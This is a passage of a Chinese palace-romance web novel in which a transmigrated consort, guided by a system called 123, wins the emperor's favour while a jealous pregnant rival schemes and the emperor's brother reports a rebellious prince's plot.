若是自己留在了宫中,姜舒月岂不是更加近水楼台? 现在姜舒月就出出针对自己,若是南巡的时候她也怀孕了呢? 她绝对不允许这种事情发生。 “况且南巡也会有太医跟随,妾身一定会好好养胎,不会让孩子受到伤害的,求陛下让妾身一起去吧。” 她说得声泪俱下,完全没有注意到贺云徽的脸黑的像锅底一样。 贺云徽目光扫过尹宝林,面上平静。 福安在一旁看的心惊。 心里暗自腹诽:这尹宝林真是不知轻重缓急,看来这一胎结束,她的宠爱也就到头了。 李太医收到传召,又呼哧呼哧往翠竹轩赶。 “参见皇上。”他刚进屋就看到了尹宝林哭着跪在地上。 心里也是不由得一惊,他才离开几个时辰,不会这么倒霉出事了吧? 贺云徽收回自己的眼光,“先将你家娘娘扶起来。” 他淡淡地指挥着莲心和豆蔻。 两个奴婢从尹宝林下床跪下之后,也跟着跪下了。 有心想要劝诫一下尹宝林不要激动好好养胎,但是碍于皇上面前,只能老实的跪着。 心里还要担心自家娘娘的身体,心里不停地天人交战。 好在贺云徽下了令,两人连忙将尹宝林从地上扶了起来。 “请陛下成全妾身吧,”尹宝林还是不停地求着。 她觉得自己现在怀孕了,就应该以自己的需求为先。 家里母亲和姨娘们怀孕了也是这样的,所有人都会以她们的需求为先。 她并不觉得这样有什么不对。 “你是心意已决,一定要去是吗?”贺云徽打算再给她一次机会。 尹宝林以为是他松口了,忙不迭点头,“妾身真的想跟您一起去南巡,妾身会很小心照顾自己的。” 听到这里,李太医听明白了,敢情是这尹宝林闹着要去南巡啊。 幸亏不是孩子没了。 见她对自己的暗示还是毫无反应,贺云徽闭了闭眼,心里生出一丝厌烦。 “尹宝林的身体,若是一起去南巡,可否会有问题。” 李太医又给尹宝林扶了脉,略一思索后道:“宝林娘娘的胎像虽然有一些不稳,若是好好养着,也可保母子平安。但必须要静心养着,切不可像今日这样,情绪大起大伏,于胎儿不利。” 贺云徽揉了揉太阳穴,见尹宝林还在那抽噎,心下一阵不耐,“既然想跟就跟着吧。” 说完不等尹宝林谢恩也不看她,甩袖就走了出去,尹宝林喜悦的神情就这样定格在了脸上。 李太医见状也不欲留下,麻溜地跟在贺云徽身后离开。 莲心和豆蔻吓得腿软,“娘娘为何一定要去南巡,您的身子……” “我一定要去!这么好的机会,我不去平白便宜了别人。”尹宝林抬手阻止了她的话,眼神里透出一股狠劲。 莲心还想再劝,豆蔻的手在后面悄悄地拽了一下她的衣服, 她只得闭嘴。 “娘娘,您先躺下吧,这段时间您好好休养,也好让陛下看到您的决心不是?”豆蔻顺毛捋着。 “你说得对,我一定会让陛下对我刮目相看的。”果然尹宝林一听就乖乖地躺在了床上。 二人见她闭眼睡去,互相对视一眼,便出了内室。 “为何不劝娘娘?”莲心有些埋怨豆蔻,自家娘娘这个身体,如何能去南巡。 豆蔻翻了个白眼,“就娘娘那架势,连陛下都不得不妥协,咱们又怎么能劝住?” 一想到陛下离去的脸色,莲心现在腿还打颤。 娘娘……真的能好好安稳生下孩子吗? 从翠竹轩出来后,贺云徽并没有回紫宸殿,而是去了言御女所在的流芳阁。 本来点了言御女是想要代替尹宝林的位置一起南巡。 但是现在尹宝林闹着要一起去,贺云徽想着多一个人也无不可,便没有收回成命,就让言御女一起跟着去了。 皇上来的突然,言御女也没想到,惊喜之余还有些没反应过来。 他也没计较对方的失礼,简单的说了几句话之后就直奔主题了。 福安问他留不留的时候,贺云徽摇了摇头。 言御女也没有难过,如果现在怀上了,这孩子可能也生不下来。 就当陛下是怜惜自己吧。 “陛下今夜留宿吗?” 第37章 爱妃这是,邀宠? 言御女语带期盼,这是她第一次侍寝,她自然是希望贺云徽能够留下来陪自己的。 贺云徽顿了顿,“不了,朕还有事要处理,你自己安寝吧,福安明日给言御女送些东西来。” 言御女看他并不打算留下,有点失望,但是她也知道自己是无法开口,让贺云徽不要处理政务只陪自己的。 这话要是说出口,自己能不能见到明天的太阳就是另外一回事了。 想通了之后言御女自觉起来,替贺云徽整理了一下衣服。 看着眼前的人忙活着给自己整理,贺云徽不由自主想到了姜舒月。 每次侍寝完了之后都只顾自己,反倒是让自己伺候她,替夫君更衣更是没有。 想着想着,贺云徽就哼了一声,言御女不知所措的停了下来。 “陛下,可是妾身伺候不周?”她惶然下跪请罪。 贺云徽一挥手,“起吧,跟你无关。” 说着就领着福安几个浩浩荡荡地回了宣明殿。 言御女松了口气,“恭送陛下。” 等到贺云徽走远之后,丫鬟便将她扶了起来。 “恭喜娘娘终于侍寝了。”紫菱哽咽着,她还以为娘娘这辈子都侍寝无望了。 之前听说娘娘可以跟着去南巡,她和娘娘兴奋的一整晚没睡着。 后来尹宝林坚持要一起南巡,但是陛下也没取消娘娘的随行。 现在也顺利的侍寝了,那离得宠还会远吗? * 姜舒月平日里很少出门,即便出去也是去找方静姝玩。 平日里都是自己关起门来过自己的。 外面的热闹一概不去凑,也不跟别的妃嫔一样,动不动就给贺云徽送吃的喝的。 尤其是现在这天气,她更不愿意动弹了。 照旧坐在摇椅上,端着明夏准备好的花茶,身后是静玉打着扇子。 好不惬意。 贺云徽一进弦月宫的大门就看到这一副怡然自得的景象。 “朕的姜贵人倒是会享受。” “参见陛下,陛下万福金安。”静玉几个吓了一跳,已经分不清这是第几次陛下没有唱到就进来了。 几人对视一眼,还好娘娘从来没说过什么大逆不道的话。 不然他们几个可就要遭殃了。 “起吧。” “陛下,”姜舒月放下手中的茶杯,起身迎了过去,“陛下怎的突然来了,也不通报一声,妾身也好准备一番。” 贺云徽捏着她的手,“姜贵人倒是胆子大了,朕去哪还要跟你汇报不成?” 姜舒月微微低着头,“妾身不敢,只怕怠慢了陛下。” 在贺云徽的视角里,姜舒月毛绒绒地脑袋随着说话一动一动的。 忍不住用手挼了一下。 “行了起吧,刚处理完政务,顺路来看看你。” 福安在身后抽了抽嘴角,宣明殿离弦月宫可有些距离,顺路也顺不到这里来。 两个人立在庭院中,男的俊美女的美艳,好不般配。 将来若是两人有了小皇子或者小公主,那长相,啧啧啧。 福安畅想着,没忍住咧嘴笑了笑。 “陛下可是要进屋歇会?”她说着伸出手,不老实地在他的掌心里挠了挠。 贺云徽将她这番举动视为了邀宠,眼神一下子暗了下来。 仔细算了算,从她生病到现在,快要有半个月的时间没有…… 好看的嘴唇贴着她白嫩的耳朵,“爱妃这是,邀宠?” 带着湿热的气息从耳边传来。 引起了姜舒月身上一阵颤栗。 “陛下!” 姜舒月嗔了贺云徽一眼,拉着他进了屋。 “妾身看您进来的时候,有些疲倦。妾身最近和明夏学了一套按摩手法,可以很好地解乏。您坐着,我给您按一按。” 贺云徽还没反应过来就被她一把摁倒在了榻上。 面上还带着惊讶。 坐下后,她没有马上按摩,而且转身又开始捣鼓着什么。 一会她手里端着一个香炉放在了桌子上。 “这个是妾身在书上看到的方子,名叫翠玉兰香,说有令人舒缓安神心放松心情的功效,妾身特意令人调制的。” “妾身开始了哦,您可以闭上眼睛休息一会。” 姜舒月清软的声音至上方传来。 听着她的声音,贺云徽也听话的闭上了眼睛。 福安守在门口,对着几个宫人摆摆手。 她双手轻柔地放在了贺云徽的太阳穴上,手指纤细,皮肤白皙。 与贺云徽麦色的肌肤形成了强烈的视觉冲击。 手指缓缓的滑动,手法缓慢而有力,每一次都会按压地恰到好处。 不带有一丝旖旎的想法,只专心地给他按摩着。 香薰的香味和她身上的气味因为贺云徽闭着眼,更加明显的钻入他的鼻腔内。 慢慢地,贺云徽身体放松了下来。 呼吸也沉了。 看他已经安稳地睡着了,姜舒月轻手轻脚地从屋里走了出去。 还贴心地将门关上。 福安还在门口坐着,见姜舒月出来,连忙上去,“娘娘,陛下……” 姜舒月食指放在唇上,“陛下睡着了。” 福安闻言下意识地看了一下屋里,“睡着了?” 她点点头,好像有些欲言又止,“陛下可是,遇到了什么难题?” 福安想了想,最近陛下遇到的最大的难题,应该就是尹宝林这事吧。 但是这个事情也不能跟姜舒月说,只能搪塞一番,只说南巡在即,有很多事情需要安排。 姜舒月早就通过123知道了尹宝林作的幺蛾子。 并没有打破砂锅问到底,只是想刷一下两人的好感度,让福安辛苦一些照顾好贺云徽。 “我之前跟明夏学的按摩手法,回头让明夏也教给福明他们,陛下日理万机,辛苦几位照顾陛下了。” “奴才谢过娘娘,希望不会打扰到娘娘。” 不管如何,福安此时是领了她的情。 姜舒月笑笑,“陛下怕是还要歇会,公公若是无事,与他们一道玩会吧,我在里面守着。” 内心挣扎了一会,还是没能抵住棋牌的诱惑。 他给姜舒月鞠了一躬,甩着拂尘头也不回的走了。 姜舒月又悄悄地回到了屋里,拿着还没看完的话本,坐在了美人榻的另一侧看了起来。 这一觉睡得贺云徽十分舒坦。 等他缓缓睁开眼睛的时候,天色已有些昏暗,屋里也只听得到书本翻页的声音。 他寻着声音望去,只见姜舒月懒散地靠在了美人榻的扶手上。 刚刚给他按摩的纤细手指上捧着话本,眼神专注地看着,长发垂落在身侧,如瀑布般柔顺。 一会打个呵欠,一会看到了什么好笑的地方,捂着嘴无声地笑着,双眼弯成新月。 再下一次翻页时,不经意间抬头,对上了贺云徽的眼睛。 “陛下您醒了?” 她放下话本,下榻给贺云徽倒了一杯温茶。 “朕睡了多久?”嗓子还带着刚睡醒的低哑。 贺云徽伸手揽过她,另一只手接过了茶。 姜舒月望了望外面的天色,“大概一个半时辰左右,陛下可要起了?” 一口气喝完了茶杯里的茶后,贺云徽清清嗓子,“嗯,今夜朕就在这歇下了,让底下的人传膳吧。” 又拿着她刚刚看过的话本,随意翻了起来。 姜舒月还想遮挡,无奈贺云徽一个练武之人,一只手就能将她禁锢住了。 第38章 有您是我的福气 【等我积分够了,看我不兑换个武林秘籍!】她恨恨地想着。 123嘻嘻笑着,【宿主就不要反抗啦。】 古代的话本不外乎就是什么,千金小姐遇到了落魄书生这一套。 她这次新寻来的虽然也讲了一些情情爱爱的事,但胜在写的诙谐幽默。 不过半天的功夫,姜舒月就要看完了。 贺云徽嘴角噙着笑,“爱妃竟是喜欢看这些陈词滥调?” 寻到机会她一把拽过了话本,放到了贺云徽拿不到的地方。 “妾身自然不能跟陛下比了,”她赖在贺云徽身上,哼唧哼唧的,“您平日看的不是奏疏就是战报,妾身又胸无点墨,看看话本打发打发时间嘛。” 接着眼珠子一转,“妾身不能出宫,陛下可否让底下的人出宫采买的时候,给妾身带回些话本?” 贺云徽捏住她的鼻子,“使唤人都使唤到朕头上来了?” 她瓮声瓮气的撒娇,“好不好嘛?” “想要的话,就要看姜贵人,能拿出什么东西来交换了。” 话都说到这份上了,姜舒月还有什么不明白的。 低下头羞红了脸,拽着贺云徽转身进入了内室。 别说,已经半个月没有吃到肉了。 两个人一时之间都有些放浪形骸了。 折腾的声音有些大,走到门口的福安一个紧急刹车,身后的跟着的人差点一头撞上去。 回过身来一挥拂尘,底下的人都极有眼色的退了下去。 只留了福安一人在门口。 福安:陛下,有您是我的福气。 本来贺云徽醒的就有些晚了,这么一闹,直接就到了戌时,期间叫了四次水。 姜舒月累的一根手指头都不想动,在叫了第五次水之后贺云徽大发慈悲的放过了她。 迷迷糊糊地,都不知道自己是怎么被清理干净抱回床上的。 要不是肚子不停地抗议,估计她早就会周公去了。 “福安,传膳。”贺云徽握拳抵唇,面上是一派餍足。 姜舒月嘟囔着,“太不公平了。” 他挑挑眉,诡异的听懂了她的意思,“今生是无望了,倒不如期望下辈子。” 姜舒月也诡异的听懂了他的意思,气得捶了两下床。 两人这边气氛正好,尹宝林那边又开始了脑补大戏。 现在尹宝林怀孕了,原先瞧着还算是文静温柔的人,转眼像是变了一个人。 满眼阴郁的盯着弦月宫的方向。 “陛下又去找她了是吗?” 尹宝林手上不停地扭着手帕,心里一阵钝痛。 自从那天陛下从这里甩手走了之后,就再也没有来看过她了,连打发人来都没有。 莲心一心为尹宝林着想,觉得她不应该这个时候还跟着去南巡。 “娘娘,陛下许是担心您的身体无法适应南巡,所以才会生气的。依奴婢看,您还是……” “啪——”莲心话还没说完,尹宝林一个巴掌就扇到了她的脸上。 旁边的豆蔻吓了一跳,但也上前扶住了莲心。 她瞪着眼睛,呼哧呼哧的喘着气,“你什么居心,一直让我留宫静养?是不是姜舒月给了你什么好处?!不让我去,好让她自己独占恩宠是吗?!” 莲心一脸的不可置信,立刻跪了下来,“奴婢不敢!奴婢实在是担心您的身体,您身体弱,如何能受得了长途跋涉啊娘娘!” 尹宝林却是一点都听不进去。 “我现在怀孕了,满宫上下谁不是以我的需求为先?陛下也同意了我一同前去,你算个什么东西,也敢来指使我?!” 她伸出一只手,直指莲心的脸。 眼看着尹宝林情绪又开始激动起来,豆蔻连忙挡住了她的视线。 “娘娘,太医让您静养,您忘了吗?您现在可是双身子,不为了自己,也要为了肚子里的皇嗣着想呀。” 豆蔻给她顺着气,“莲心和奴婢自小一直跟着娘娘,忠心耿耿,也是担心您的身体,叛主是断然不敢的。” 尹宝林自然也知道豆蔻说的,只是莲心实在太过扫兴。 “哼,若不是她从小就跟着我,现在我就要发落了她,”她狠狠瞪了莲心一眼,“以后莲心就在外面伺候吧,省的看到她就烦。” 莲心没想到自己忠心为主,却被尹宝林给贬到了外间伺候,心下一片失望。 “奴婢……遵命,还望娘娘好好思量,您的身体马虎不得。” 见莲心还想说,豆蔻连连给她使眼色。 如此,莲心也放弃了游说的想法,失魂落魄的出了内室。 不管翠竹轩这边如何闹腾,姜舒月和贺云徽不知道。 姜舒月吃饱之后,又被贺云徽拉回了床上,继续妖精打架。 整个人好像要被折腾散架了,心里不禁想着:这禁欲太长的男人也不好,太可怕了。 看她走神,贺云徽不满意,“姜贵人还有心思想别的,看来还是朕不够努力啊。” 姜舒月:??? 补药啊!你补药过来啊!! 不理会她的反抗拒绝,姜舒月再次被贺云徽酱酱酿酿到昏过去。 “唔……”姜舒月艰难地睁开眼睛。 明夏将床幔收起来,“娘娘,您醒了。” 狗男人! 姜舒月咬了咬后槽牙。 被明夏扶起来之后,起身想要起来,脚一软,差点跌坐在地上。 幸亏明夏眼疾手快地扶住了她,“娘娘,您还好吧?” 姜舒月心里再次对贺云徽的不做人的行为唾骂了几句,“没事,脚没力气了,好明夏,快给你家娘娘捏捏。” 起不来,姜舒月也不为难自己,哪里跌倒,就在哪里躺着。 明夏也知道昨天两位主子折腾的有点凶了,动静一直持续到了快天亮的时候才停下来。 等把姜舒月身上的小衣掀开之后,身上青青紫紫的痕迹给她都看脸红了。 “陛下手也太重了……”她小声嘟囔着,手上开始给姜舒月揉捏起来。 姜舒月舒展了眉头,“明夏,离了你我可怎么办。” 明夏噗嗤一声笑了出来,“那娘娘可要对奴婢好一些,多给奴婢些赏银,奴婢也好卖力给您按摩。” 她大方的摆手,“赏,必须赏!” 两人就这样有一搭没一搭的聊着。 扶风迈着小碎步走了进来。 “娘娘,”语气里带着些许兴奋,“翠竹轩那边有动静了。” 不等姜舒月发问,她就倒豆子般说了出来:“尹宝林怀孕了,本来陛下是想让她留宫静养的,结果尹宝林死活要跟着去南巡,把陛下给气走了!” 明夏吃了一惊,怪不得昨日陛下来的时候,脸色那么难看。 姜舒月早就通过123知道了,但是为了不打击扶风的积极性,也装作惊讶的样子。 “最后如何了?尹宝林还是要跟着去南巡吗?” 扶风点点头,“听说尹宝林一直哭着要跟着去,陛下只能应允了。” 再次听到这件事的姜舒月也是叹了口气,为了争宠也是拼了。 安安稳稳的在宫里养胎不好吗? “让咱们宫里的人,不管什么时候,都要离她远一些。” 虽然自己没有害人之心,但是拿不准别人有什么想法。 也避免别人把自己锅甩到自己身上,更别说那俩主仆一个赛一个的能脑补。 姜舒月已经预见到南巡的路途上,一定会很精彩。 两人听了点头应是,即使姜舒月不说,她们也绝对不会靠近的。 第39章 睿王 “陛下,”福安快步走了进来,“睿王殿下来了。” 贺云徽执笔的手一顿,“快让他进来。” 细细数来,睿王成婚,带着睿王妃在外游玩已经有3个月的时间了。 “臣,参见皇上。” 贺云礼身着一件绛红色的蟒袍,上面用金线绣着四爪金龙,头戴白玉冠,冠边镶嵌着碧绿的翡翠。 腰间系着云纹玉带,悬挂的玉佩温润透亮,手上还拿着一柄象牙扇,扇子上画着山水。 眉眼修长疏朗,身材修长,腰背挺直,眉宇间和贺云徽有些相似。 贺云徽快步步下台阶,一把将贺云礼拉了起来。 拍拍他的肩膀,“终于舍得回来了。” 贺云礼白皙的脸庞上露出一个得逞的笑容,“还要多谢皇兄给臣弟机会。” 贺云徽没好气的瞪他一眼。 “坐吧,说说看,有什么发现。” 贺云礼也不客气,一撩衣摆就坐了下去。 宣明殿内的所有的人都已经在福安的示意下全部退了出去,就连福安自己也退居门外,替二人关上了门,站在门口守着。 “皇兄所料不错,端王在长平、江州、阳城等地秘密招兵,”他吞下了嘴里的糕点,“这几个地方的府尹除了阳城府尹之外,都转投入端王麾下。” 贺云徽听着,手指轻点桌面,示意他继续。 “端王不方便出面,替他办事的是他手下一个名叫齐浩轩的幕僚。阳城府尹拒绝投入端王麾下,全家上下五十九口人都被齐浩轩……” 后面的话他没说完,但是贺云徽也知道,对方肯定遭遇了不测。 “呵,简直无法无天!”贺云徽一把拍在了桌案上。 “阳城府尹死后,他已经着手准备让自己的人上任。” 贺云礼转了转手上的玉扳指,“臣弟已经让秦思文继续盯着阳城的动向。” 贺云徽点点头。 “这段时间辛苦你了,晚上朕替你接风洗尘。” 贺云礼拱拱手,“谢皇兄了。” 两人又商量了一些细节,带着贺云徽给的赏赐,睿王就先行离开了皇宫。 “娘娘,福明公公来了。” 静玉掀了珠帘进来,“说是陛下有口谕。” 姜舒月还躺在床上,闻言一愣。 口谕? 心里闪过一丝疑惑,在明夏和扶风的搀扶下,挪了出去。 “姜贵人安,陛下口谕,睿王回宫,明日申时,陛下下旨在麟德殿为睿王殿下接风洗尘,特命姜贵人出席。” 福禄让小太监们把东西放好。 “特命奴才给贵人送了一些衣物和首饰。” 其中有一件团蝶百花织锦裙,让她颇为喜爱。 看着姜舒月喜欢,福禄脸上的笑也深了一些。 想到今日早上陛下命他带着赏赐来的时候,脸上那一抹温柔的神色。 她毫不掩饰自己的喜爱,“多谢陛下赏赐,福禄公公回去可要替我好好谢谢陛下。” 扶风给福禄塞了一个鼓鼓囊囊的荷包,福禄作势推辞了一番,收下了。 “贵人言重了。”拿了荷包的福禄乐颠地走了,这弦月宫的差怪不得都想来呢。 让小方子送了福禄出去。 一路走着,小方子手里又拿了一个荷包往他手里送去,言语间已经开始打听起了睿王的事情。 福禄接过之后,也不藏着掖着,就跟小方子说了一些关于睿王的事迹。 123也很自觉的调出睿王贺云礼的生平。 贺云礼乃贺云徽的同胞弟弟,年二十六,去年刚娶了武安侯府的嫡女程素雅做睿王妃。 两人从小青梅竹马,但是武安侯并不同意女儿嫁给贺云礼。 觉得贺云礼只是一个毫无实权的闲散王爷,女儿嫁给他完全无法为家族谋得利益。 两人就经常瞒着武安侯私下来往,但最后还是被人发现了,程素雅被武安侯禁足后院。 贺云礼不能贸然前去求娶,而程素雅和贺云礼的关系,朝中无人不知,已经无人敢上门提亲,相看也全都以各种原因失败。 武安侯知道背后少不了贺云徽两兄弟的手笔,但也没办法,更加频繁的给程素雅相看。 两人的亲事就这样耽搁了下来。 贺云徽上位之后,立马就给自己的弟弟赐了婚,武安侯无法抗旨,只能捏着鼻子认了。 婚后两人如胶似漆,贺云礼更是放话,这辈子不会再纳任何女人,后院只有程素雅一人。 如今二人刚刚外出游玩回来,简称度蜜月。 姜舒月一边看一边感叹,这贺云礼的人设,放在别的小说里,怎么也是妥妥的一枚男主预备役了。 同样的,原著里并没有对这个睿王有太多的描述。 基本都是出现在别人的嘴里。 比如睿王殿下今日和睿王妃在哪里玩啦; 或者后天去了哪里玩啦,这种无关紧要的事情。 导致123这边对这个人的概括只有短短的一句话:爱妻但游手好闲、只会吃喝玩乐的闲散王爷。 小方子回来后对着姜舒月点点头,姜舒月给她比了一个大拇指。 “娘娘,奴才打听了过了,睿王殿下是陛下一母同胞的胞弟。虽无实权,但陛下对这位睿王殿下特别信重,还亲自给睿王殿下赐婚,还赐超规格的王爷府给睿王殿下。” 他叭叭叭,几句就将贺云礼的情况说完了。 “对了,福明公公还说,这次宴会是家宴,到时候端王殿下也会前往。这位跟——”小方子伸手指了指天上,小声说道:“不对付,所以咱们该小心这位端王殿下。” 姜舒月再次给小方子竖了个大拇指。 你别说,你还真别说。 小方子这情报网做的确实是不错。 “这件事你做的很好,赏你五两银子。” 小方子也不扭捏,笑着领了赏。 【这个端王殿下,想必就是另一个大反派了吧?】 123点头,【端王殿下的生母,是先皇最宠爱的妃子丽妃,本来是最有机会登基的皇子。但是丽妃母家当时权利已经太大,先皇怕外戚当政,所以最后选了男主。】 姜舒月点头,相比利益至上的世家,为国捐躯的将领更得先皇得信任。 也不怪先皇选了贺云徽,换谁都会知道怎么选。 【不用说,这个端王还想着怎么拉贺云徽下马呢吧?】 123:【bingo!尤其是丽妃后来得了急病去世之后,他更是在暗地里搞了不少小动作。不过男主对他的行为都还在掌握之中,宿主可以安心做任务。】 【现在任务进度条到哪了?】 123:【进度条已经到了60%啦!】 姜舒月两眼一黑,兢兢业业大半天,一看进度60%。 虽然123还安慰着自己,但心里还是照样吐槽这任务给的太随意。 静常在烦闷的坐在亭子里,双手不停地搅动着。 不管自己求了兰昭容多少次,都没有得到对方的应承。 自己进宫快四年,最近的一次侍寝还是去年年末的时候。 久到她都已经忘了侍寝是什么感觉了。 身边的丫鬟易水不敢在这个时候上前劝诫,只能静静地站在她的身后。 “参见静常在。” 一个低沉的声音在她身后响起。 第40章 初见端王 静常在像是被这个声音震到,愣了好长时间。 过了一会,她才反应过来,转过身,看向亭子外的人。 那是一个身穿侍卫服的男人,国字脸上一副坚毅的神情,身材高大,腰间佩戴着一把佩刀。 “文进哥哥……”静常在喃喃道,“起来吧。” 男人闻言抬起了头望向静常在。 易水也看清了男人的脸,倒吸了一口凉气,怎么会是他?! “易水,你去远处守着。” 静常在回过了神,打算支开易水。 她马上将头转向静常在的方向,“娘娘,这不合规矩!” 静常在不说话,只淡淡撇了她一眼。 易水说不出话来,只能退到了不远处,紧紧盯着亭子这边的动向。 见没有人打扰,周文进看着静常在的脸,一个没忍住,脚步上前想要像以前一样牵起她的手。 易水忍着上前打扰的动作,怕被静常在训斥,更怕别人发现,只能继续盯着外面的动静。 “你,还好吗?”周文进的手举起了一半,想到如今两人的身份,失望的垂了下来。 她惨然一笑,“不缺吃喝,自是不错的。” 她也是怀抱着野心,狠心退掉了和青梅竹马的婚约,进了宫。 但是真的进了宫之后才知道,得宠是那么的难,难如上青天。 看到了曾经的未婚夫,原本的不忿、绝望通通变成了委屈。 想到这段时间收到的冷眼,她终是忍不住留下了眼泪。 “我后悔了文进哥哥……”静常在哭得伤心。 周文进看到她潸然泪下,顾不得其他,上前将人拥进了怀里。 易水一把捂住自己的嘴巴,才将自己即将尖叫出声的声音吞了回去。 周文进心疼地抱紧了怀里的女人。 幸而这个地方,很少有人路过,不然以两人现在的姿态,轻而易举就会被人发现。 也许是想到了这点,静常在回神一把推开了周文进。 “我们不能这样,文进哥哥,你……忘了我吧。” 她抬手用手帕擦掉自己的眼泪。 周文进怔怔看着空出的手,身体比脑子更快的做出了反应。 他伸手一拽,将静常在拉了回来,嘴唇强硬地贴在了她的唇上。 静常在大惊,挣扎着想要推开他,却抵不过对方的力量。 渐渐地也放弃了抵抗,两人就这样在亭子里相拥吻在了一起。 如果不是还有一丝警惕支撑着易水,她恨不得现在就立刻昏倒。 不过就算这样,两人好像也保留了一丝理智,停了下来。 双方都气喘吁吁地看着对方。 多日没有被情爱滋润的静常在此时更是双唇微张,眼神迷离。 周文进贴在她的耳边,轻轻耳语着,静常在听完惊诧地看向周文进。 而后又低头咬唇,半晌,点了点头。 周文进脸上露出高兴的表情,狠狠亲了一下静常在的脸。 又说了句悄悄话,便离开了这里。 易水已经在旁边吓得魂都快丢了瘫坐在地上。 静常在深呼吸,抬手拍了拍自己的脸,迈着莲步走到了易水身边。 “闭好你的嘴巴,什么该说什么不该说,不用我教你吧?” 她居高临下的看着易水,眼神里尽是寒意。 “奴婢……绝不会背叛娘娘。” 她也无法背叛,自己和静常在就是绑定的两个人。 不管静常在做了什么,她都会跟着静常在一荣俱荣一损俱损。 这种事情一旦说破,为了保住皇家颜面,她这个贴身伺候的人,必定是要被灭口的。 静常在冷哼一声,“起来吧,让别人瞧见还以为我怎么你了。” 夜幕降临,姜舒月也在静玉的摆弄下,换上了今天贺云徽送来的宫装。 衣袂翩翩间,能看到衣服上绣着的蝴蝶图案,蝴蝶的翅膀上,金丝线与彩线交织。 再往下,绣满了各式各样的花朵,有的含苞待放,有的盛开如云,栩栩如生的蝴蝶,仿佛随时会振翅高飞,环绕在百花之中。 乌黑浓密的头发挽成一个朝云近香髻,几颗饱满的珍珠随意点缀着发间,发髻侧面则插着一支玉蝶恋花垂珠簪。 手上带着一个玳瑁镶金嵌珠宝镯,加上最近姜舒月最喜欢的月麟香,一整个香香软软的。 静玉的梳妆打扮手法没的说。 姜舒月愣是让她打扮的像个仙女,不食人间烟火。 再次检查好身上没有什么逾制的东西之后,姜舒月只带着小路子和明夏去了宴席。 其他人被留下来看家。 在路过荷安居的时候,顺便将方静姝也叫了出来,二人结伴而行。 尹宝林自从怀孕之后也是鲜少出现在人前。 这次宫宴倒是也让她出席了。 姜舒月离她还有十几米的时候,就慢下了脚步。 听着123说的情报,她实在不敢靠尹宝林太近。 方静姝也看到尹宝林了,跟着慢下了脚步。 “姐姐可是……”话没说完,姜舒月已经知道她要说什么了。 手上的团扇挡住了嘴,“尹宝林总觉得是我在跟她争宠,想要害她,离她远一些比较保险。” 方静姝哑然,尹宝林大闹一场要跟着南巡,把陛下气走了,现在宫里谁不知道。 本来她这胎就胎弱,回头沾上了,可真是有理说不清了。 她点点头,“要不咱们换一条路吧,宫宴还有一些时间。” 姜舒月也正有此意。 尹宝林这会还在慢悠悠的溜达着,豆蔻倒是眼尖看到了姜舒月。 人还没有靠近,她就如临大敌般盯着。 尹宝林被她这一动作弄的也是一惊,忙问:“可是有什么不妥?” 豆蔻小声回道:“回娘娘,是姜贵人。” 她的手用力攥了攥,忍不住回头看了一眼。 只看到姜舒月和方静姝的侧影。 心头疑惑,“这个时候不去宫宴,她们去哪?” 豆蔻觉得只要别靠近自家娘娘,去哪都行。 “娘娘您就别管她们了,若是迟到了,陛下自会处罚她们。” 一听豆蔻这么说了,她也有些期待上了。 真想看看姜舒月被惩罚的样子啊。 姜舒月不知道这些,只管和方静姝一边看风景一边往麟德殿走着。 到了宫殿门口,被接引宫女迎到了自己的位置上。 她的位置,在右侧第二个,上首坐着兰昭容。 她笑着给兰昭容行了礼,兰昭容也笑着向她点头。。 方静姝的位置就比较靠后了,和姜舒月大概隔了三个人的位置。 龙椅边上除了太后的位置,左右下首还分别设置了两个座位,分别是姜婉清和淑妃的位置。 原本应该只设立一个位置的,但是如今宋滢被禁足,今夜的宫宴她无法出席,左右两侧便分别安排给了姜婉清和淑妃。 坐下后,姜舒月打量了一番。 麟德殿一侧是教司坊的舞姬,身穿碧绿色的长裙,仿佛莲叶仙子一般翩然起舞。 还能听到后方传来的乐声,那些是被安排在屏风后面的乐班,奏着丝竹。 殿中的金丝楠木桌上,铺上了绣有各式图案的锦缎桌布。 上面还摆着玉盘金碗,里面已经先摆上了一些点心。 光是看就足够令人垂涎三尺。 她就这样,懒散的倚着,偶尔吃点点心垫肚子。 妃子们陆续到场,最后出现的则是如今协管后宫的姜婉清和淑妃。 一直到太后和贺云徽进殿。 再后面就是两个同样身穿锦衣的男子,一位眉眼之处和贺云徽还有些相似,这大概就是睿王贺云礼了。 另一个长相则更加邪魅狂狷,皮肤雪白,细长的凤眸微微上挑,嘴角噙着漫不经心的笑。 身材挺秀高颀,站在那里,说不出的阴柔俊秀。 【这就是端王贺云帆吗?】姜舒月暗暗打量着对方。 都说三观跟着五官走,如果不是知道剧情,她根本不会想到,这样一个长相颇具韩系阴柔气质的美男,会是一个大反派。 第41章 何德何能 【宿主不要看他人模狗样的,实际上这个端王私底下是个恶贯满盈的人渣。】 123生怕姜舒月被眼前的假象所迷惑,连忙提醒姜舒月。 她收回了目光,又看向了两个王爷身侧站着的两位华府女子。 看样子,应该分别是睿王妃和端王妃了。 所有人都停了下来,恭敬地朝着他们行礼。 贺云徽一眼就看到了姜舒月,看到她穿上了自己送的衣服,嘴角勾起又很快放下。 “都起来吧。” 尹宝林从贺云徽进来,就在期待他看向自己,结果她等了半天,贺云徽连一个眼神都没有给她。 眼睛从进来就黏在姜舒月身上,连半个眼神都没给她。 尹宝林咬牙,呼吸也急促了起来。 没关系,自己还有孩子,姜舒月算什么。 她一边安慰着自己,一边恨恨地盯着姜舒月。 【宿主注意,尹宝林对宿主的厌恶度已经达到80%了,请宿主小心。】 123适时提醒了一下,姜舒月还低着头行礼,完全没有在意周边的人是什么表情。 她闻言分出一丝心神,偷偷往尹宝林看了一眼。 就见她面上一片红色,好似已经站不稳了。 【她这又是整的什么幺蛾子呢?】 她真的越来越看不懂这个尹宝林了。 豆蔻担忧地给尹宝林顺气,不停小声劝着,“娘娘,太医说了您不能情绪起伏太大,对胎儿不好。” 尹宝林只是抓着她不说话,但是呼吸已然缓和了下来。 “都坐下吧。”贺云徽扶着太后落座了,发了话,众人才又坐下。 落座之后,端王表面上带着漫不经心的笑,眼神却在贺云徽和睿王身上打量。 “皇兄,今日这场家宴,可见用心啊。” 贺云徽微微点头,眼中闪过一丝暗芒,“难得我们几个兄弟都在,今夜可要不醉不归。” 端王轻轻一笑,转而看向睿王,“云礼新婚燕尔,又外出游玩许久,一路上想必是趣事连连,可要与三哥好好说说。” 睿王眸光清亮,举起酒杯浅酌一口,“不过是趁着新婚,与王妃一同领略一下大好河山,也算不辜负这人间美景。” 